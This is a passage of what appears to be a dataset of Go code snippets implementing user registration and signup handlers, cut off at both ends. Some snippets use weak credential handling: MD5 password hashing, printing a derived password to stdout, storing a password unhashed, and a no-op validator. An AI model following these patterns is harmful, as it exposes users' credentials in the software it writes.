err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\terr := APIErrGenericInternal(err.Error())\\n\\t\\trespondErr(w, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tuserUUID := uuid.NewV4().String() // generate a new userUUID to attach to the new project\\n\\ttoken, err := auth.GenToken() // generate a new user token\\n\\tcreated := time.Now().UTC()\\n\\t// Get Result Object\\n\\tres, err := auth.CreateUser(userUUID, ru.Name, ru.FirstName, ru.LastName, ru.Organization, ru.Description,\\n\\t\\t[]auth.ProjectRoles{}, token, ru.Email, []string{}, created, refUserUUID, refStr)\\n\\n\\tif err != nil {\\n\\t\\tif err.Error() == \\\"exists\\\" {\\n\\t\\t\\terr := APIErrorConflict(\\\"User\\\")\\n\\t\\t\\trespondErr(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\terr := APIErrGenericInternal(err.Error())\\n\\t\\trespondErr(w, err)\\n\\t\\treturn\\n\\t}\\n\\n\\t// update the registration\\n\\terr = auth.UpdateUserRegistration(regUUID, auth.AcceptedRegistrationStatus, refUserUUID, created, refStr)\\n\\tif err != nil {\\n\\t\\tlog.Errorf(\\\"Could not update registration, %v\\\", err.Error())\\n\\t}\\n\\n\\t// Output result to JSON\\n\\tresJSON, err := res.ExportJSON()\\n\\tif err != nil {\\n\\t\\terr := APIErrExportJSON()\\n\\t\\trespondErr(w, err)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Write response\\n\\trespondOK(w, []byte(resJSON))\\n}\",\n \"func handleSignUp(w http.ResponseWriter, r *http.Request) {\\n\\tif parseFormErr := r.ParseForm(); parseFormErr != nil {\\n\\t\\thttp.Error(w, \\\"Sent invalid form\\\", 400)\\n\\t}\\n\\n\\tname := r.FormValue(\\\"name\\\")\\n\\tuserHandle := r.FormValue(\\\"userHandle\\\")\\n\\temail := r.FormValue(\\\"email\\\")\\n\\tpassword := r.FormValue(\\\"password\\\")\\n\\n\\tif !verifyUserHandle(userHandle) {\\n\\t\\thttp.Error(w, \\\"Invalid userHandle\\\", http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\n\\tif !verifyEmail(email) {\\n\\t\\thttp.Error(w, \\\"Invalid email\\\", http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\n\\tif !verifyPassword(password) {\\n\\t\\thttp.Error(w, \\\"Password does not meet complexity requirements\\\", http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\n\\thashed, _ := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)\\n\\n\\turChannel := make(chan *database.InsertResponse)\\n\\tgo createUser(\\n\\t\\tmodel.User{Name: name, UserHandle: userHandle, Email: email, Password: hashed},\\n\\t\\turChannel,\\n\\t)\\n\\tcreatedUser := <-urChannel\\n\\n\\tif createdUser.Err != nil {\\n\\t\\tlog.Println(createdUser.Err)\\n\\n\\t\\tif strings.Contains(createdUser.Err.Error(), \\\"E11000\\\") {\\n\\t\\t\\tif strings.Contains(createdUser.Err.Error(), \\\"index: userHandle_1\\\") {\\n\\t\\t\\t\\thttp.Error(w, \\\"Userhandle \\\"+userHandle+\\\" already registered\\\", http.StatusConflict)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\thttp.Error(w, \\\"Email \\\"+email+\\\" already registered\\\", http.StatusConflict)\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tcommon.SendInternalServerError(w)\\n\\t\\t}\\n\\n\\t} else {\\n\\t\\tlog.Println(\\\"Created user with ID \\\" + createdUser.ID)\\n\\t\\tw.WriteHeader(http.StatusOK)\\n\\t\\t_, wError := w.Write([]byte(\\\"Created user with ID \\\" + createdUser.ID))\\n\\n\\t\\tif wError != nil {\\n\\t\\t\\tlog.Println(\\\"Error while writing: \\\" + wError.Error())\\n\\t\\t}\\n\\t}\\n\\n}\",\n \"func Registration(c echo.Context) error {\\n\\tu := new(models.User)\\n\\tif err := c.Bind(u); err != nil {\\n\\t\\treturn c.JSON(http.StatusBadRequest, err.Error())\\n\\t}\\n\\t// encrypt password\\n\\tpassword, err := utils.EncryptPassword(os.Getenv(\\\"SALT\\\"), c.FormValue(\\\"password\\\"))\\n\\n\\tif err != nil {\\n\\t\\treturn c.JSON(http.StatusInternalServerError, err)\\n\\t}\\n\\n\\tu.Password = password\\n\\n\\tfmt.Println(password)\\n\\n\\tif res := db.DBCon.Create(u); res.Error != nil {\\n\\t\\treturn c.JSON(http.StatusBadRequest, res.Error)\\n\\t}\\n\\treturn c.JSON(http.StatusCreated, u)\\n}\",\n \"func (u *UserController) CreateUser(c *gin.Context) {\\n var user models.UserRegister\\n if err := c.ShouldBind(&user); err != nil {\\n util.ErrorJSON(c, http.StatusBadRequest, \\\"Inavlid Json Provided\\\")\\n return\\n }\\n\\n hashPassword, _ := util.HashPassword(user.Password)\\n user.Password = hashPassword\\n\\n err := u.service.CreateUser(user)\\n if err != nil {\\n util.ErrorJSON(c, http.StatusBadRequest, \\\"Failed to create user\\\")\\n return\\n }\\n\\n util.SuccessJSON(c, http.StatusOK, \\\"Successfully Created user\\\")\\n}\",\n \"func (s *Service) Register(user User) error {\\n\\tpassword := user.Password\\n\\tencrypted, err := s.encrypt.Encrypt(password)\\n\\tif err != nil {\\n\\t\\tlog.Errorf(\\\"Password encryption failed: %s\\\", err)\\n\\t\\treturn ErrCouldNotEncryptPassword\\n\\t}\\n\\tuser.Password = encrypted\\n\\ts.store.SaveUser(user)\\n\\treturn nil\\n}\",\n \"func signup(w http.ResponseWriter, r *http.Request) {\\n\\n\\tif r.Method != \\\"POST\\\" {\\n\\n\\t\\tvar data = map[string]interface{}{\\n\\t\\t\\t\\\"Title\\\": \\\"Sign Up\\\",\\n\\t\\t}\\n\\n\\t\\terr := templates.ExecuteTemplate(w, \\\"signup.html\\\", data)\\n\\n\\t\\tif err != nil {\\n\\t\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t\\t}\\n\\t\\treturn\\n\\n\\t}\\n\\n\\t// Define user registration info.\\n\\tusername := r.FormValue(\\\"username\\\")\\n\\tnickname := r.FormValue(\\\"nickname\\\")\\n\\tavatar := r.FormValue(\\\"avatar\\\")\\n\\temail := r.FormValue(\\\"email\\\")\\n\\tpassword := r.FormValue(\\\"password\\\")\\n\\tip := r.Header.Get(\\\"X-Forwarded-For\\\")\\n\\tlevel := \\\"0\\\"\\n\\trole := \\\"0\\\"\\n\\tlast_seen := time.Now()\\n\\tcolor := \\\"\\\"\\n\\tyeah_notifications := \\\"1\\\"\\n\\n\\tusers := QueryUser(username)\\n\\n\\tif (user{}) == users {\\n\\t\\tif len(username) > 32 || len(username) < 3 {\\n\\t\\t\\thttp.Error(w, \\\"invalid username length sorry br0o0o0o0o0o0\\\", http.StatusBadRequest)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t// Let's hash the password. We're using bcrypt for this.\\n\\t\\thashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)\\n\\n\\t\\tif len(hashedPassword) != 0 && checkErr(w, r, err) {\\n\\n\\t\\t\\t// Prepare the statement.\\n\\t\\t\\tstmt, err := db.Prepare(\\\"INSERT users SET username=?, nickname=?, avatar=?, email=?, password=?, ip=?, level=?, role=?, last_seen=?, color=?, yeah_notifications=?\\\")\\n\\t\\t\\tif err == nil {\\n\\n\\t\\t\\t\\t// If there's no errors, we can go ahead and execute the statement.\\n\\t\\t\\t\\t_, err := stmt.Exec(&username, &nickname, &avatar, &email, &hashedPassword, &ip, &level, &role, &last_seen, &color, &yeah_notifications)\\n\\t\\t\\t\\tif err != nil {\\n\\n\\t\\t\\t\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t\\t\\t\\t\\treturn\\n\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tusers := QueryUser(username)\\n\\n\\t\\t\\t\\tuser := users.ID\\n\\t\\t\\t\\tcreated_at := time.Now()\\n\\t\\t\\t\\tnnid := \\\"\\\"\\n\\t\\t\\t\\tgender := 0\\n\\t\\t\\t\\tregion := \\\"\\\" // ooh what if we replace this with a country from a GeoIP later????????????????\\n\\t\\t\\t\\tcomment := \\\"\\\"\\n\\t\\t\\t\\tnnid_visibility := 1\\n\\t\\t\\t\\tyeah_visibility := 1\\n\\t\\t\\t\\treply_visibility := 0\\n\\n\\t\\t\\t\\tstmt, err := db.Prepare(\\\"INSERT profiles SET user=?, created_at=?, nnid=?, gender=?, region=?, comment=?, nnid_visibility=?, yeah_visibility=?, reply_visibility=?\\\")\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t_, err = stmt.Exec(&user, &created_at, &nnid, &gender, &region, &comment, &nnid_visibility, &yeah_visibility, &reply_visibility)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\thttp.Error(w, err.Error(), http.StatusInternalServerError)\\n\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tsession := sessions.Start(w, r)\\n\\t\\t\\t\\tsession.Set(\\\"username\\\", users.Username)\\n\\t\\t\\t\\tsession.Set(\\\"user_id\\\", users.ID)\\n\\t\\t\\t\\thttp.Redirect(w, r, \\\"/\\\", 302)\\n\\n\\t\\t\\t}\\n\\n\\t\\t} else {\\n\\n\\t\\t\\thttp.Redirect(w, r, \\\"/signup\\\", 302)\\n\\n\\t\\t}\\n\\n\\t}\\n\\n}\",\n \"func (c *Config) CreateUser(w http.ResponseWriter, r *http.Request) {\\n\\top := errors.Op(\\\"handler.CreateUser\\\")\\n\\tctx := r.Context()\\n\\n\\tvar payload createUserPayload\\n\\tif err := bjson.ReadJSON(&payload, r); err != nil {\\n\\t\\tbjson.HandleError(w, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tif err := valid.Raw(&payload); err != nil {\\n\\t\\tbjson.HandleError(w, err)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Make sure the user is not already registered\\n\\tfoundUser, found, err := c.UserStore.GetUserByEmail(ctx, payload.Email)\\n\\tif err != nil {\\n\\t\\tbjson.HandleError(w, err)\\n\\t\\treturn\\n\\t} else if found {\\n\\t\\tif !foundUser.IsPasswordSet && !foundUser.IsGoogleLinked && !foundUser.IsFacebookLinked {\\n\\t\\t\\t// The email is registered but the user has not setup their account.\\n\\t\\t\\t// In order to make sure the requestor is who they say thay are and is not\\n\\t\\t\\t// trying to gain access to someone else's identity, we lock the account and\\n\\t\\t\\t// require that the email be verified before the user can get access.\\n\\t\\t\\tfoundUser.FirstName = payload.FirstName\\n\\t\\t\\tfoundUser.LastName = payload.LastName\\n\\t\\t\\tfoundUser.IsLocked = true\\n\\n\\t\\t\\tif err := c.Mail.SendPasswordResetEmail(\\n\\t\\t\\t\\tfoundUser,\\n\\t\\t\\t\\tfoundUser.GetPasswordResetMagicLink(c.Magic)); err != nil {\\n\\t\\t\\t\\tbjson.HandleError(w, err)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\tif err := c.UserStore.Commit(ctx, foundUser); err != nil {\\n\\t\\t\\t\\tbjson.HandleError(w, err)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\tbjson.WriteJSON(w, map[string]string{\\n\\t\\t\\t\\t\\\"message\\\": \\\"Please verify your email to proceed\\\",\\n\\t\\t\\t}, http.StatusOK)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tbjson.HandleError(w, errors.E(op,\\n\\t\\t\\terrors.Str(\\\"already registered\\\"),\\n\\t\\t\\tmap[string]string{\\\"message\\\": \\\"This email has already been registered\\\"},\\n\\t\\t\\thttp.StatusBadRequest))\\n\\t\\treturn\\n\\t}\\n\\n\\t// Create the user object\\n\\tuser, err := model.NewUserWithPassword(\\n\\t\\tpayload.Email,\\n\\t\\tpayload.FirstName,\\n\\t\\tpayload.LastName,\\n\\t\\tpayload.Password)\\n\\tif err != nil {\\n\\t\\tbjson.HandleError(w, err)\\n\\t\\treturn\\n\\t}\\n\\n\\t// Save the user object\\n\\tif err := c.UserStore.Commit(ctx, user); err != nil {\\n\\t\\tbjson.HandleError(w, err)\\n\\t\\treturn\\n\\t}\\n\\n\\terr = c.Mail.SendVerifyEmail(user, user.Email, user.GetVerifyEmailMagicLink(c.Magic, user.Email))\\n\\tif err != nil {\\n\\t\\tbjson.HandleError(w, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tif err := c.Welcome.Welcome(ctx, c.ThreadStore, c.Storage, user); err != nil {\\n\\t\\tlog.Alarm(err)\\n\\t}\\n\\n\\tbjson.WriteJSON(w, user, http.StatusCreated)\\n}\",\n \"func Register(db *gorm.DB, ctx echo.Context, username, email, password string) (*User, error) {\\n\\treqTimeSec, err := strconv.ParseInt(ctx.Request().Header.Get(\\\"REQUEST_TIME\\\"), 10, 64)\\n\\treqTime := time.Now()\\n\\tif err == nil {\\n\\t\\treqTime = time.Unix(reqTimeSec, 0)\\n\\t}\\n\\n\\tip := web.IP(ctx)\\n\\tlocation := web.Location(ctx, ip)\\n\\n\\tu := &User{\\n\\t\\tUsername: username,\\n\\t\\tEmail: email,\\n\\t\\tPassword: password,\\n\\t\\tCreateIP: ip,\\n\\t\\tCreateLocation: location,\\n\\t\\tLastLoginTime: uint64(reqTime.Unix()),\\n\\t\\tLastLoginIP: ip,\\n\\t\\tLastLoginLocation: location,\\n\\t}\\n\\n\\terr = db.Save(u).Error\\n\\treturn u, err\\n}\",\n \"func (ut *RegisterPayload) Validate() (err error) {\\n\\tif ut.Email == \\\"\\\" {\\n\\t\\terr = goa.MergeErrors(err, goa.MissingAttributeError(`type`, \\\"email\\\"))\\n\\t}\\n\\tif ut.Password == \\\"\\\" {\\n\\t\\terr = goa.MergeErrors(err, goa.MissingAttributeError(`type`, \\\"password\\\"))\\n\\t}\\n\\tif ut.FirstName == \\\"\\\" {\\n\\t\\terr = goa.MergeErrors(err, goa.MissingAttributeError(`type`, \\\"first_name\\\"))\\n\\t}\\n\\tif ut.LastName == \\\"\\\" {\\n\\t\\terr = goa.MergeErrors(err, goa.MissingAttributeError(`type`, \\\"last_name\\\"))\\n\\t}\\n\\tif err2 := goa.ValidateFormat(goa.FormatEmail, ut.Email); err2 != nil {\\n\\t\\terr = goa.MergeErrors(err, goa.InvalidFormatError(`type.email`, ut.Email, goa.FormatEmail, err2))\\n\\t}\\n\\tif utf8.RuneCountInString(ut.Email) < 6 {\\n\\t\\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.email`, ut.Email, utf8.RuneCountInString(ut.Email), 6, true))\\n\\t}\\n\\tif utf8.RuneCountInString(ut.Email) > 150 {\\n\\t\\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.email`, ut.Email, utf8.RuneCountInString(ut.Email), 150, false))\\n\\t}\\n\\tif utf8.RuneCountInString(ut.FirstName) < 1 {\\n\\t\\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.first_name`, ut.FirstName, utf8.RuneCountInString(ut.FirstName), 1, true))\\n\\t}\\n\\tif utf8.RuneCountInString(ut.FirstName) > 200 {\\n\\t\\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.first_name`, ut.FirstName, utf8.RuneCountInString(ut.FirstName), 200, false))\\n\\t}\\n\\tif utf8.RuneCountInString(ut.LastName) < 1 {\\n\\t\\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.last_name`, ut.LastName, utf8.RuneCountInString(ut.LastName), 1, true))\\n\\t}\\n\\tif utf8.RuneCountInString(ut.LastName) > 200 {\\n\\t\\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.last_name`, ut.LastName, utf8.RuneCountInString(ut.LastName), 200, false))\\n\\t}\\n\\tif utf8.RuneCountInString(ut.Password) < 5 {\\n\\t\\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.password`, ut.Password, utf8.RuneCountInString(ut.Password), 5, true))\\n\\t}\\n\\tif utf8.RuneCountInString(ut.Password) > 100 {\\n\\t\\terr = goa.MergeErrors(err, goa.InvalidLengthError(`type.password`, ut.Password, utf8.RuneCountInString(ut.Password), 100, false))\\n\\t}\\n\\treturn\\n}\",\n \"func Register(ctx echo.Context) error {\\n\\treq := new(registerRequest)\\n\\tif err := ctx.Bind(req); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tuser := User{Username: req.Username, Password: md5Pwd(req.Password), Type: req.Type}\\n\\terr := db.Model(&User{}).First(&user, &User{Username: req.Username}).Error\\n\\tif err == gorm.ErrRecordNotFound {\\n\\t\\te := db.Create(&user).Error\\n\\t\\tif e == nil {\\n\\t\\t\\tctx.SetCookie(&http.Cookie{Name: cookieKey, Value: user.Base.ID.String()})\\n\\t\\t\\treturn ctx.JSON(http.StatusOK, &response{\\n\\t\\t\\t\\tCode: 0,\\n\\t\\t\\t\\tMsg: \\\"\\\",\\n\\t\\t\\t\\tData: registerResponse{\\n\\t\\t\\t\\t\\tUsername: user.Username,\\n\\t\\t\\t\\t\\tType: user.Type,\\n\\t\\t\\t\\t\\tID: user.Base.ID,\\n\\t\\t\\t\\t},\\n\\t\\t\\t})\\n\\t\\t}\\n\\t\\treturn e\\n\\t}\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tres := &response{\\n\\t\\tCode: 1,\\n\\t\\tMsg: \\\"User name has been taken\\\",\\n\\t}\\n\\treturn ctx.JSON(http.StatusBadRequest, res)\\n}\",\n \"func (p *PasswordStruct) Save() error {\\n\\terr := ioutil.WriteFile(path, p.hash, 0700)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *Signup) Save(db XODB) error {\\n\\tif s.Exists() {\\n\\t\\treturn s.Update(db)\\n\\t}\\n\\n\\treturn s.Insert(db)\\n}\",\n \"func (ar *Router) RegisterWithPassword() http.HandlerFunc {\\n\\n\\ttype registrationData struct {\\n\\t\\tUsername string `json:\\\"username,omitempty\\\" validate:\\\"required,gte=6,lte=50\\\"`\\n\\t\\tPassword string `json:\\\"password,omitempty\\\" validate:\\\"required,gte=7,lte=50\\\"`\\n\\t\\tProfile map[string]interface{} `json:\\\"user_profile,omitempty\\\"`\\n\\t\\tScope []string `json:\\\"scope,omitempty\\\"`\\n\\t}\\n\\n\\ttype registrationResponse struct {\\n\\t\\tAccessToken string `json:\\\"access_token,omitempty\\\"`\\n\\t\\tRefreshToken string `json:\\\"refresh_token,omitempty\\\"`\\n\\t\\tUser model.User `json:\\\"user,omitempty\\\"`\\n\\t}\\n\\n\\treturn func(w http.ResponseWriter, r *http.Request) {\\n\\t\\t//parse data\\n\\t\\td := registrationData{}\\n\\t\\tif ar.MustParseJSON(w, r, &d) != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t//validate password\\n\\t\\tif err := model.StrongPswd(d.Password); err != nil {\\n\\t\\t\\tar.Error(w, err, http.StatusBadRequest, \\\"\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t//create new user\\n\\t\\tuser, err := ar.userStorage.AddUserByNameAndPassword(d.Username, d.Password, d.Profile)\\n\\t\\tif err != nil {\\n\\t\\t\\tar.Error(w, err, http.StatusBadRequest, \\\"\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\t//do login flow\\n\\t\\tscopes, err := ar.userStorage.RequestScopes(user.ID(), d.Scope)\\n\\t\\tif err != nil {\\n\\t\\t\\tar.Error(w, err, http.StatusBadRequest, \\\"\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tapp := appFromContext(r.Context())\\n\\t\\tif app == nil {\\n\\t\\t\\tar.logger.Println(\\\"Error getting App\\\")\\n\\t\\t\\tar.Error(w, ErrorRequestInvalidAppID, http.StatusBadRequest, \\\"\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\ttoken, err := ar.tokenService.NewToken(user, scopes, app)\\n\\t\\tif err != nil {\\n\\t\\t\\tar.Error(w, err, http.StatusUnauthorized, \\\"\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\ttokenString, err := ar.tokenService.String(token)\\n\\t\\tif err != nil {\\n\\t\\t\\tar.Error(w, err, http.StatusInternalServerError, \\\"\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\trefreshString := \\\"\\\"\\n\\t\\t//requesting offline access ?\\n\\t\\tif contains(scopes, model.OfflineScope) {\\n\\t\\t\\trefresh, err := ar.tokenService.NewRefreshToken(user, scopes, app)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tar.Error(w, err, http.StatusInternalServerError, \\\"\\\")\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\trefreshString, err = ar.tokenService.String(refresh)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tar.Error(w, err, http.StatusInternalServerError, \\\"\\\")\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tuser.Sanitize()\\n\\n\\t\\tresult := registrationResponse{\\n\\t\\t\\tAccessToken: tokenString,\\n\\t\\t\\tRefreshToken: refreshString,\\n\\t\\t\\tUser: user,\\n\\t\\t}\\n\\n\\t\\tar.ServeJSON(w, http.StatusOK, result)\\n\\t}\\n}\",\n \"func Register(w http.ResponseWriter, r *http.Request) {\\n\\tvar dataResource UserResource\\n\\t//Decode the incoming User json\\n\\n\\terr := json.NewDecoder(r.Body).Decode(&dataResource)\\n\\tif err != nil {\\n\\t\\tcommon.DisplayAppError(\\n\\t\\t\\tw,\\n\\t\\t\\terr,\\n\\t\\t\\t\\\"Invalid User data\\\",\\n\\t\\t\\t500,\\n\\t\\t)\\n\\t\\treturn\\n\\t}\\n\\tuser := &dataResource.Data\\n\\tcontext := NewContext()\\n\\tdefer context.Close()\\n\\n\\tc := context.DbCollection(\\\"users\\\")\\n\\trepo := &data.UserRespository{c}\\n\\n\\t//insert User document\\n\\trepo.CreateUser(user)\\n\\t//Clean-up the hashpassword to eliminate it from response\\n\\tuser.HashPassword = nil\\n\\n\\tif j, err := json.Marshal(UserResource{Data: *user}); err != nil {\\n\\t\\tcommon.DisplayAppError(\\n\\t\\t\\tw,\\n\\t\\t\\terr,\\n\\t\\t\\t\\\"An unexpected error has occurred\\\",\\n\\t\\t\\t500,\\n\\t\\t)\\n\\t\\treturn\\n\\t} else {\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\tw.WriteHeader(http.StatusCreated)\\n\\t\\tw.Write(j)\\n\\t}\\n\\n}\",\n \"func Register(login string, email string, pass string) map[string]interface{} {\\n\\tvalid := helpers.Validation(\\n\\t\\t[]interfaces.Validation{\\n\\t\\t\\t{Value: login, Valid: \\\"login\\\"},\\n\\t\\t\\t{Value: email, Valid: \\\"email\\\"},\\n\\t\\t\\t{Value: pass, Valid: \\\"password\\\"},\\n\\t\\t})\\n\\tif valid {\\n\\t\\tdb := helpers.ConnectDB()\\n\\t\\tgeneratedPassword := helpers.HashAndSalt([]byte(pass))\\n\\t\\tuser := &interfaces.User{Login: login, Email: email, Password: generatedPassword}\\n\\t\\tdb.Create(&user)\\n\\n\\t\\tnow := time.Now()\\n\\t\\tstatus := getStatus(\\\"https://google.pl\\\")\\n\\t\\tuserlink := &interfaces.UserLink{Link: \\\"https://google.pl\\\", Status: status, Time: now, UserId: user.ID}\\n\\t\\tdb.Create(&userlink)\\n\\n\\t\\tdefer db.Close()\\n\\n\\t\\tuserlinks := []interfaces.ResponseLink{}\\n\\t\\trespLink := interfaces.ResponseLink{ID: userlink.ID, Link: userlink.Link, Status: userlink.Status, Time: userlink.Time}\\n\\t\\tuserlinks = append(userlinks, respLink)\\n\\t\\tvar response = prepareResponse(user, userlinks, true)\\n\\n\\t\\treturn response\\n\\n\\t} else {\\n\\t\\treturn map[string]interface{}{\\\"message\\\": \\\"not valid values\\\"}\\n\\t}\\n}\",\n \"func (m *Credential) Validate(formats strfmt.Registry) error {\\n\\treturn nil\\n}\",\n \"func Register(w http.ResponseWriter, r *http.Request, opt router.UrlOptions, sm session.ISessionManager, s store.IStore) {\\n\\tswitch r.Method {\\n\\tcase \\\"GET\\\":\\n\\t\\tparams := make(map[string]interface{})\\n\\t\\tutils.RenderTemplate(w, r, \\\"register\\\", sm, s, params)\\n\\n\\tcase \\\"POST\\\":\\n\\t\\tvar newUser *user.User\\n\\n\\t\\tdfc := s.GetDataSource(\\\"persistence\\\")\\n\\n\\t\\tp, ok := dfc.(persistence.IPersistance)\\n\\t\\tif !ok {\\n\\t\\t\\tutl.Log(\\\"Invalid store\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tc := p.GetCollection(\\\"users\\\")\\n\\n\\t\\tnewUser = &user.User{\\n\\t\\t\\tID: bson.NewObjectId(),\\n\\t\\t\\tUsername: r.PostFormValue(\\\"username\\\"),\\n\\t\\t\\tPassword: utils.HashString(r.PostFormValue(\\\"password\\\")),\\n\\t\\t}\\n\\n\\t\\terr := c.Insert(newUser)\\n\\t\\tif err != nil {\\n\\t\\t\\tutl.Log(err)\\n\\t\\t}\\n\\n\\t\\tutl.Log(\\\"Registered user\\\", newUser)\\n\\n\\t\\thttp.Redirect(w, r, \\\"/\\\", http.StatusSeeOther)\\n\\tdefault:\\n\\t}\\n}\",\n \"func RegisterUser(c *gin.Context) {\\n\\t// Check Password confirmation\\n\\tpassword := c.PostForm(\\\"password\\\")\\n\\tconfirmedPassword := c.PostForm(\\\"confirmed_password\\\")\\n\\ttoken, _ := RandomToken()\\n\\n\\t// Return Error if not confirmed\\n\\tif password != confirmedPassword {\\n\\t\\tc.JSON(500, gin.H{\\n\\t\\t\\t\\\"status\\\": \\\"error\\\",\\n\\t\\t\\t\\\"message\\\": \\\"password not confirmed\\\"})\\n\\t\\tc.Abort()\\n\\t\\treturn\\n\\t}\\n\\n\\t// Hash the password\\n\\thash, _ := HashPassword(password)\\n\\n\\t// Get Form\\n\\titem := models.User{\\n\\t\\tUserName: c.PostForm(\\\"user_name\\\"),\\n\\t\\tFullName: c.PostForm(\\\"full_name\\\"),\\n\\t\\tEmail: c.PostForm(\\\"email\\\"),\\n\\t\\tPassword: hash,\\n\\t\\tVerificationToken: token,\\n\\t}\\n\\n\\tif err := config.DB.Create(&item).Error; err != nil {\\n\\t\\tc.JSON(500, gin.H{\\n\\t\\t\\t\\\"status\\\": \\\"error\\\",\\n\\t\\t\\t\\\"message\\\": err})\\n\\t\\tc.Abort()\\n\\t\\treturn\\n\\t}\\n\\n\\t// I want to send email for activation\\n\\n\\tc.JSON(200, gin.H{\\n\\t\\t\\\"status\\\": \\\"successfuly register user, please check your email\\\",\\n\\t\\t\\\"data\\\": item,\\n\\t})\\n}\",\n \"func (u *UsersController) Create(ctx *gin.Context) {\\n\\tvar userJSON tat.UserCreateJSON\\n\\tctx.Bind(&userJSON)\\n\\tvar userIn tat.User\\n\\tuserIn.Username = u.computeUsername(userJSON)\\n\\tuserIn.Fullname = strings.TrimSpace(userJSON.Fullname)\\n\\tuserIn.Email = strings.TrimSpace(userJSON.Email)\\n\\tcallback := strings.TrimSpace(userJSON.Callback)\\n\\n\\tif len(userIn.Username) < 3 || len(userIn.Fullname) < 3 || len(userIn.Email) < 7 {\\n\\t\\terr := fmt.Errorf(\\\"Invalid username (%s) or fullname (%s) or email (%s)\\\", userIn.Username, userIn.Fullname, userIn.Email)\\n\\t\\tAbortWithReturnError(ctx, http.StatusInternalServerError, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tif err := u.checkAllowedDomains(userJSON); err != nil {\\n\\t\\tctx.JSON(http.StatusForbidden, gin.H{\\\"error\\\": err.Error()})\\n\\t\\treturn\\n\\t}\\n\\n\\tuser := tat.User{}\\n\\tfoundEmail, errEmail := userDB.FindByEmail(&user, userJSON.Email)\\n\\tfoundUsername, errUsername := userDB.FindByUsername(&user, userJSON.Username)\\n\\tfoundFullname, errFullname := userDB.FindByFullname(&user, userJSON.Fullname)\\n\\n\\tif foundEmail || foundUsername || foundFullname || errEmail != nil || errUsername != nil || errFullname != nil {\\n\\t\\te := fmt.Errorf(\\\"Please check your username, email or fullname. If you are already registered, please reset your password\\\")\\n\\t\\tAbortWithReturnError(ctx, http.StatusBadRequest, e)\\n\\t\\treturn\\n\\t}\\n\\n\\ttokenVerify, err := userDB.Insert(&userIn)\\n\\tif err != nil {\\n\\t\\tlog.Errorf(\\\"Error while InsertUser %s\\\", err)\\n\\t\\tctx.AbortWithError(http.StatusInternalServerError, err)\\n\\t\\treturn\\n\\t}\\n\\n\\tgo userDB.SendVerifyEmail(userIn.Username, userIn.Email, tokenVerify, callback)\\n\\n\\tinfo := \\\"\\\"\\n\\tif viper.GetBool(\\\"username_from_email\\\") {\\n\\t\\tinfo = fmt.Sprintf(\\\" Note that configuration of Tat forced your username to %s\\\", userIn.Username)\\n\\t}\\n\\tctx.JSON(http.StatusCreated, gin.H{\\\"info\\\": fmt.Sprintf(\\\"please check your mail to validate your account.%s\\\", info)})\\n}\",\n \"func createUser(c *gin.Context) {\\n password,_ := HashPassword(c.PostForm(\\\"password\\\"))\\n\\tuser := user{Login: c.PostForm(\\\"login\\\"), Password: password}\\n\\tdb.Save(&user)\\n\\tc.JSON(http.StatusCreated, gin.H{\\\"status\\\": http.StatusCreated, \\\"message\\\": \\\"User item created successfully!\\\"})\\n}\",\n \"func register(w http.ResponseWriter, r *http.Request) {\\n\\tsetHeader(w)\\n\\tif (*r).Method == \\\"OPTIONS\\\" {\\n\\t\\tfmt.Println(\\\"Options 